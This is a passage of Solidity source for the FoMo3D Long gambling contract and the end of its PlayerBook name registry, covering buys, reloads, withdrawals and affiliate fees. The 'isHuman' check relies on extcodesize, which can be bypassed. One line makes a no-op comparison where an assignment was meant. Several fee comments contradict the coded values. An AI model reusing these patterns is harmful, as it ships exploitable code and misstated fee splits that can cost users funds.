if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all)
isRegisteredGame()
external
payable
returns(bool, uint256)
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
return(_isNewPlayer, _affID);
}
//==============================================================================
// _ _ _|_ _ .
// _\(/_ | |_||_) .
//=============|================================================================
function addGame(address _gameAddress, string _gameNameStr)
onlyOwner()
public
{
require(gameIDs_[_gameAddress] == 0, "derp, that games already been registered");
gID_++;
bytes32 _name = _gameNameStr.nameFilter();
gameIDs_[_gameAddress] = gID_;
gameNames_[_gameAddress] = _name;
games_[gID_] = PlayerBookReceiverInterface(_gameAddress);
}
function setRegistrationFee(uint256 _fee)
onlyOwner()
public
{
registrationFee_ = _fee;
}
}
pragma solidity ^0.4.24;
/**
* @title -FoMo-3D v0.7.1
* ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐
* │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐
* ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘
* _____ _____
* (, / /) /) /) (, / /) /)
* ┌─┐ / _ (/_ // // / _ // _ __ _(/
* ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_
* ┴ ┴ / / .-/ _____ (__ /
* (__ / (_/ (, / /)™
* / __ __ __ __ _ __ __ _ _/_ _ _(/
* ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_
* ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018
* ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/ .--,-``-.
*========,---,.======================____==========================/ / '.=======,---,====*
* ,' .' | ,' , `. / ../ ; .' .' `\
* ,---.' | ,---. ,-+-,.' _ | ,---. \ ``\ .`- ' ,---.' \
* | | .' ' ,'\ ,-+-. ; , || ' ,'\ ,---,. \___\/ \ : | | .`\ |
* : : : / / | ,--.'|' | || / / | ,' .' | \ : | : : | ' |
* : | |-, . ; ,. : | | ,', | |, . ; ,. : ,---.' | / / / | ' ' ; :
* | : ;/| ' | |: : | | / | |--' ' | |: : | | .' \ \ \ ' | ; . |
* | | .' ' | .; : | : | | , ' | .; : : |.' ___ / : | | | : | '
* ' : ' | : | | : | |/ | : | `---' / /\ / : ' : | / ;
* | | | \ \ / | | |`-' \ \ / / ,,/ ',- . | | '` ,/
* | : \ `----' | ;/ `----' \ ''\ ; ; : .'
*====| | ,'=============='---'==========(long version)===========\ \ .'===| ,.'======*
* `----' `--`-,,-' '---'
* ╔═╗┌─┐┌─┐┬┌─┐┬┌─┐┬ ┌─────────────────────────┐ ╦ ╦┌─┐┌┐ ╔═╗┬┌┬┐┌─┐
* ║ ║├┤ ├┤ ││ │├─┤│ │ https://exitscam.me │ ║║║├┤ ├┴┐╚═╗│ │ ├┤
* ╚═╝└ └ ┴└─┘┴┴ ┴┴─┘ └─┬─────────────────────┬─┘ ╚╩╝└─┘└─┘╚═╝┴ ┴ └─┘
* ┌────────────────────────────────┘ └──────────────────────────────┐
* │╔═╗┌─┐┬ ┬┌┬┐┬┌┬┐┬ ┬ ╔╦╗┌─┐┌─┐┬┌─┐┌┐┌ ╦┌┐┌┌┬┐┌─┐┬─┐┌─┐┌─┐┌─┐┌─┐ ╔═╗┌┬┐┌─┐┌─┐┬┌─│
* │╚═╗│ ││ │ │││ │ └┬┘ ═ ║║├┤ └─┐││ ┬│││ ═ ║│││ │ ├┤ ├┬┘├┤ ├─┤│ ├┤ ═ ╚═╗ │ ├─┤│ ├┴┐│
* │╚═╝└─┘┴─┘┴─┴┘┴ ┴ ┴ ═╩╝└─┘└─┘┴└─┘┘└┘ ╩┘└┘ ┴ └─┘┴└─└ ┴ ┴└─┘└─┘ ╚═╝ ┴ ┴ ┴└─┘┴ ┴│
* │ ┌──────────┐ ┌───────┐ ┌─────────┐ ┌────────┐ │
* └────┤ Inventor ├───────────┤ Justo ├────────────┤ Sumpunk ├──────────────┤ Mantso ├──┘
* └──────────┘ └───────┘ └─────────┘ └────────┘
* ┌─────────────────────────────────────────────────────────┐ ╔╦╗┬ ┬┌─┐┌┐┌┬┌─┌─┐ ╔╦╗┌─┐
* │ Ambius, Aritz Cracker, Cryptoknight, Crypto McPump, │ ║ ├─┤├─┤│││├┴┐└─┐ ║ │ │
* │ Capex, JogFera, The Shocker, Daok, Randazzz, PumpRabbi, │ ╩ ┴ ┴┴ ┴┘└┘┴ ┴└─┘ ╩ └─┘
* │ Kadaz, Incognito Jo, Lil Stronghands, Ninja Turtle, └───────────────────────────┐
* │ Psaints, Satoshi, Vitalik, Nano 2nd, Bogdanoffs Isaac Newton, Nikola Tesla, │
* │ Le Comte De Saint Germain, Albert Einstein, Socrates, & all the volunteer moderator │
* │ & support staff, content, creators, autonomous agents, and indie devs for P3D. │
* │ Without your help, we wouldn't have the time to code this. │
* └─────────────────────────────────────────────────────────────────────────────────────┘
*
* This product is protected under license. Any unauthorized copy, modification, or use without
* express written consent from the creators is prohibited.
*
* WARNING: THIS PRODUCT IS HIGHLY ADDICTIVE. IF YOU HAVE AN ADDICTIVE NATURE. DO NOT PLAY.
*/
//==============================================================================
// _ _ _ _|_ _ .
// (/_\/(/_| | | _\ .
//==============================================================================
contract F3Devents {
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
// fired at end of buy or reload
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
// fired whenever theres a withdraw
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
// fired whenever a withdraw forces end round to be ran
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d long only) fired whenever a player tries a buy after round timer
// hit zero, and causes end round to be ran.
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// (fomo3d long only) fired whenever a player tries a reload after round timer
// hit zero, and causes end round to be ran.
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
// fired whenever an affiliate is paid
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
// received pot swap deposit
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
//==============================================================================
// _ _ _ _|_ _ _ __|_ _ _ _|_ _ .
// (_(_)| | | | (_|(_ | _\(/_ | |_||_) .
//====================================|=========================================
contract modularLong is F3Devents {}
contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
otherFoMo3D private otherF3D_;
DiviesInterface constant private Divies = DiviesInterface(0xc7029Ed9EBa97A096e72607f4340c34049C7AF48);
JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0xdd4950F977EE28D2C132f1353D1595035Db444EE);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xD60d353610D9a5Ca478769D371b53CEfAA7B6E4c);
F3DexternalSettingsInterface constant private extSettings = F3DexternalSettingsInterface(0x32967D6c142c2F38AB39235994e2DDF11c37d590);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant public name = "FoMo3D Long Official";
string constant public symbol = "F3D";
uint256 private rndExtra_ = extSettings.getLongExtra(); // length of the very first ICO
uint256 private rndGap_ = extSettings.getLongGap(); // length of ICO phase, set to 1 year for EOS.
uint256 constant private rndInit_ = 1 hours; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(30,6); //50% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(43,0); //43% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(56,10); //20% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(43,8); //35% to pot, 10% to aff, 2% to com, 1% to pot swap, 1% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(15,10); //48% to winner, 25% to next round, 2% to com
potSplit_[1] = F3Ddatasets.PotSplit(25,0); //48% to winner, 25% to next round, 2% to com
potSplit_[2] = F3Ddatasets.PotSplit(20,20); //48% to winner, 10% to next round, 2% to com
potSplit_[3] = F3Ddatasets.PotSplit(30,10); //48% to winner, 10% to next round, 2% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
/**
* @dev withdraws all of your earnings.
* -functionhash- 0x3ccfd60b
*/
function withdraw()
isActivated()
isHuman()
public
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// setup temp var for player eth
uint256 _eth;
// check to see if round has ended and no one has run round end yet
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// end the round (distributes pot)
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire withdraw and distribute event
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
// in any other situation
} else {
// get their earnings
_eth = withdrawEarnings(_pID);
// gib moni
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
// fire withdraw event
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
/**
* @dev use these to register names. they are just wrappers that will send the
* registration requests to the PlayerBook contract. So registering here is the
* same as registering there. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
// if round has ended. but round end has not been run (so contract has not distributed winnings)
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
// if player is winner
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
// if player is not the winner
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
// if round is still going on, or round has ended and round end has been ran
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
